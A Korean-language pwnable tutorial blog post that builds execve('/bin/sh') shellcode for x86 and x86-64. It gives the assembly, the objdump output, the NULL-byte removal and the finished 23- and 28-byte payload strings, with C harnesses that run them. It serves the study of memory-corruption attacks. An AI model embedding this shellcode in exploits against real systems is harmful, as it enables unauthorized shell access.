셸코드 (Shellcode)
1. 셸코드
1. Shell ?
셸(Shell)이란 운영체제에 명령을 내리기 위해 사용되는 사용자의 인터페이스이다.
운영체제의 핵심 기능을 하는 프로그램인 커널(Kernel)과 대비된다.
셸을 획득하면 시스템을 제어할 수 있게 되므로 통상적으로 셸 획득을 시스템 해킹의 성공으로 여긴다.
이러한 셸을 얻을 수 있는 코드를 셸코드라고 한다.
2. Shellcode 란?
해킹 분야에서 상대 시스템을 공격하는 것을 익스플로잇(Exploit)이라 한다.
Shellcode 는 익스플로잇을 위해 제작된 어셈블리 코드 조각이다.
일반적으로 셸을 획득하기 위한 목적으로 셸코드를 사용해서 "셸"이 접두사로 붙었다.
execve 셸코드는 임의의 프로그램을 실행하는 셸코드이다.
이를 이용하면 서버의 셸을 획득할 수 있다.
다른 언급 없이 셸코드라고 하면 execve 셸코드를 의미하는 경우가 많다.
3. 시스템 콜 (System call)
OS는 다양한 서비스들을 수행하기 위해 하드웨어를 직접적으로 관리한다.
하지만 응용 프로그램은 OS가 제공하는 인터페이스를 통해서만 자원을 사용할 수 있다.
OS 가 제공하는 이러한 인터페이스를 시스템 콜 (System call)이라 한다.
시스템 콜은 커널 영역의 기능을 사용자가 사용할 수 있도록 해준다.
즉, 프로세스가 하드웨어에 직접 접근해서 필요한 기능을 할 수 있게 해준다.
리눅스의 시스템 콜 테이블은 아래 사이트에서 확인할 수 있다
https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md
2. Execve Shellcode (x86)
1. Execve 시스템 콜 (x86)
execve("/bin/sh", 0, 0)
execve 셸코드는 execve 시스템 콜만으로 구성된다.
syscall table 을 보면 32bit 에서 execve 는 syscall number 가 0x0b 인 것을 알 수 있다.
execve(ebx, ecx, edx)
execve("/bin/sh", 0, 0)
32bit 에서는 ebx, ecx, edx 에 각각 첫 번째, 두 번째, 세 번째, 인자가 들어간다.
각 레지스터에 값을 넣은 뒤 인터럽트(int 0x80) 를 발생시키면 원하는 동작을 수행할 수 있다.
2. execve C 코드 분석
execve 시스템 콜을 하는 C코드이다.
// name : x86_shellcode.c
// compile : gcc -m32 -fno-stack-protector -mpreferred-stack-boundary=2 -z execstack -no-pie -static -o x86_shellcode x86_shellcode.c
#include <unistd.h>
void main(){
char *shell[2];
shell[0] = "/bin/sh";
shell[1] = "NULL";
execve(shell[0], shell, 0);
}
execve 함수의 어셈블리를 확인해보자.
pwndbg> disass execve
Dump of assembler code for function execve:
0x0806dea0 <+0>: endbr32
0x0806dea4 <+4>: push ebx
0x0806dea5 <+5>: mov edx,DWORD PTR [esp+0x10]
0x0806dea9 <+9>: mov ecx,DWORD PTR [esp+0xc]
0x0806dead <+13>: mov ebx,DWORD PTR [esp+0x8]
0x0806deb1 <+17>: mov eax,0xb
0x0806deb6 <+22>: call DWORD PTR gs:0x10
0x0806debd <+29>: pop ebx
0x0806debe <+30>: cmp eax,0xfffff001
0x0806dec3 <+35>: jae 0x80734d0 <__syscall_error>
0x0806dec9 <+41>: ret
End of assembler dump.
0x0806deb1 <+17>: mov eax,0xb
execve 의 system call number 0xb 를 eax 에 옮긴다
0x0806deb6 <+22>: call DWORD PTR gs:0x10
system call 이 수행되는 부분에 break 를 걸고 실행해보자
pwndbg> x/s $ebx
0x80b4008: "/bin/sh"
ebx 에 "/bin/sh"이 들어간 것을 확인할 수 있다
pwndbg> x/4wx $ebx
0x80b4008: 0x6e69622f 0x0068732f 0x4c4c554e 0x2f2e2e00
; /bin /sh
좀 더 자세히 출력해보면 0x6e69622f 는 /bin
0x0068732f 는 /sh 인 것을 알 수 있다.
3. 어셈블리 작성
section .text
global _start
_start:
xor eax, eax ; eax 초기화
push eax ; NULL 문자 추가
push 0x0068732f ; /sh
push 0x6e69622f ; /bin
mov ebx, esp ; ebx = /bin/sh
xor ecx, ecx ; ecx 초기화
xor edx, edx ; edx 초기화
mov eax, 0xb ; execve
int 0x80 ; execve("/bin/sh", 0, 0)
완성된 어셈블리 언어 소스코드이다.
$ nasm -f elf x86_shellcode.s
$ ld -m elf_i386 -s -o x86_shellcode x86_shellcode.o
위의 명령어를 이용해서 어셈블리를 오브젝트 파일로 만들고,
오브젝트 파일을 실행 가능한 elf 파일로 만든다.
$ ./x86_shellcode
$ id
uid=1000(codespace) gid=1000(codespace) groups=1000(codespace),106(ssh),107(docker)
파일을 실행해보면 정상적으로 셸을 획득한 것을 확인할 수 있다.
이제 elf 파일에서 어셈블리 언어의 기계어 코드를 가져와야 한다.
objdump -d x86_shellcode -M intel
objdump 명령어를 이용해서 opcode(기계어 코드)를 가져올 수 있다
$ objdump -d x86_shellcode -M intel
x86_shellcode: file format elf32-i386
Disassembly of section .text:
08049000 <.text>:
8049000: 31 c0 xor eax,eax
8049002: 50 push eax
8049003: 68 2f 73 68 00 push 0x68732f
8049008: 68 2f 62 69 6e push 0x6e69622f
804900d: 89 e3 mov ebx,esp
804900f: 31 c9 xor ecx,ecx
8049011: 31 d2 xor edx,edx
8049013: b8 0b 00 00 00 mov eax,0xb
8049018: cd 80 int 0x80
코드를 확인하면 NULL (/x00) 값이 들어가 있는 것을 확인할 수 있다.
scanf 함수 같은 경우는 NULL 이나 \n 같은 문자들까지 입력을 받기 때문에
Shellcode 에 NULL 이나 \n 같은 문자들이 포함된 경우 BOF 공격을 할 때 입력이 끊길 수 있다.
따라서 어셈블리 코드를 수정해줘야 한다.
section .text
global _start
_start:
xor eax, eax ; eax 초기화
push eax ; NULL 문자 추가
push 0x68732f2f ; //sh
push 0x6e69622f ; /bin
mov ebx, esp ; ebx = /bin/sh
xor ecx, ecx ; ecx 초기화
xor edx, edx ; edx 초기화
mov al, 0xb ; execve
int 0x80 ; execve("/bin//sh", 0, 0)
/sh 에서 생기는 NULL 값을 없애기 위해 2f(/) 를 추가하여 //sh 로 만든다
eax 레지스터보다 작은 al 레지스터를 사용하여 NULL 값을 없애준다
다시 objdump 를 이용하여 opcode 를 확인해보자
objdump -d x86_shellcode -M intel
x86_shellcode: file format elf32-i386
Disassembly of section .text:
08049000 <.text>:
8049000: 31 c0 xor eax,eax
8049002: 50 push eax
8049003: 68 2f 2f 73 68 push 0x68732f2f
8049008: 68 2f 62 69 6e push 0x6e69622f
804900d: 89 e3 mov ebx,esp
804900f: 31 c9 xor ecx,ecx
8049011: 31 d2 xor edx,edx
8049013: b0 0b mov al,0xb
8049015: cd 80 int 0x80
NULL값이 없어진 것을 확인할 수 있다.
4. Execve Shellcode (x86)
위에서 출력된 opcode를 조합하면
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80
23Byte 의 Shellcode 를 만들 수 있다.
3. Execve Shellcode (x86-64)
1. Execve 시스템 콜 (x86-64)
x86-64 아키텍처에서 execve 시스템콜 번호는 0x3b 이다
execve(rdi, rsi, rdx)
execve("/bin/sh", 0, 0)
64bit 에서는 rdi, rsi, rdx 에 각각 첫 번째, 두 번째, 세 번째 인자가 들어간다.
각 레지스터에 값을 넣은 뒤 syscall 을 하면 원하는 동작을 수행할 수 있다
2. 어셈블리 작성
section .text
global _start
_start:
xor rax, rax ; rax 초기화
push rax ; NULL 문자 추가
mov rdi, 0x68732f2f6e69622f ; /bin//sh
push rdi
mov rdi, rsp ; rdi = /bin/sh
xor rsi, rsi ; rsi 초기화
xor rdx, rdx ; rdx 초기화
mov al, 0x3b ; execve syscall number
syscall
32bit 시스템과 비슷하지만 조금 다른 점이 있다
64bit 시스템에서는 문자열을 스택에 push 하려면 문자열을 레지스터로 옮긴 후 레지스터를 push 해줘야 한다.
32bit 시스템은 int 0x80 을 통해 인터럽트를 발생시켜 시스템 콜을 했지만
64bit 시스템은 syscall 명령을 통해 시스템 콜을 한다.
nasm -f elf64 -o x64_shellcode.o x64_shellcode.s
ld -o x64_shellcode x64_shellcode.o
위의 명령어를 이용해서 어셈블리 파일을 elf 파일로 변환한다.
objdump 를 이용하여 opcode를 확인해보자
$ objdump -d x64_shellcode -M intel
x64_shellcode: file format elf64-x86-64
Disassembly of section .text:
0000000000401000 <_start>:
401000: 48 31 c0 xor rax,rax
401003: 50 push rax
401004: 48 bf 2f 62 69 6e 2f movabs rdi,0x68732f2f6e69622f
40100b: 2f 73 68
40100e: 57 push rdi
40100f: 48 89 e7 mov rdi,rsp
401012: 48 31 f6 xor rsi,rsi
401015: 48 31 d2 xor rdx,rdx
401018: b0 3b mov al,0x3b
40101a: 0f 05 syscall
3. Execve Shellcode (x86-64)
위에서 출력된 opcode를 조합하면
\x48\x31\xc0\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb0\x3b\x0f\x05
28 Byte 의 shellcode 를 만들 수 있다
4. Shellcode Test
1. x86 shellcode
Shellcode 가 메모리에 올라갔을 때 실행이 잘 되는지 테스트를 해보자.
Shellcode 를 메모리에 올리고 Shellcode 가 올라간 메모리 주소를 함수 포인터로 호출하는 C언어 소스코드를 만든다
// Name : shell.c
// Compile : gcc -m32 -fno-stack-protector -mpreferred-stack-boundary=2 -z execstack -no-pie -static -o 32_test shell.c
#include <stdio.h>
int main(void)
{
char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80";
(*(void (*)()) shellcode)();
return 0;
}
$ ./x86_shellcode
$ id
uid=1000(codespace) gid=1000(codespace) groups=1000(codespace),106(ssh),107(docker)
컴파일 후 파일을 실행하면 Shellcode 가 잘 실행되는 것을 확인할 수 있다
2. x86-64 shellcode
// Name : shell.c
// Compile : gcc -fno-stack-protector -mpreferred-stack-boundary=4 -z execstack -no-pie -static -o 64_test shell.c
#include <stdio.h>
int main(void)
{
char shellcode[] = "\x48\x31\xc0\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb0\x3b\x0f\x05";
(*(void (*)()) shellcode)();
return 0;
}
$ ./64_test
$ id
uid=1000(codespace) gid=1000(codespace) groups=1000(codespace),106(ssh),107(docker)
마찬가지로 컴파일 후 파일을 실행하면 Shellcode 가 잘 실행되는 것을 확인할 수 있다
5. Shellcode (x86, x86-64) 정리
1. x86
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80
23Byte
2. x86-64
\x48\x31\xc0\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb0\x3b\x0f\x05
28Byte
Reference
https://velog.io/@nansu0425/execve-shellcode-%EC%A0%9C%EC%9E%91-%EB%B0%8F-%EC%9E%85%EB%A0%A5
'Hacking > Pwnable' 카테고리의 다른 글
NX-bit, ASLR (0) | 2024.05.10 |
---|---|
스택 카나리 (Stack Canary) (0) | 2024.05.03 |
스택 버퍼 오버플로우 (Stack Buffer Overflow) (1) | 2024.04.28 |
함수 호출 규약 (Calling Convention) (0) | 2024.03.27 |
스택 프레임 (Stack Frame) (0) | 2024.03.24 |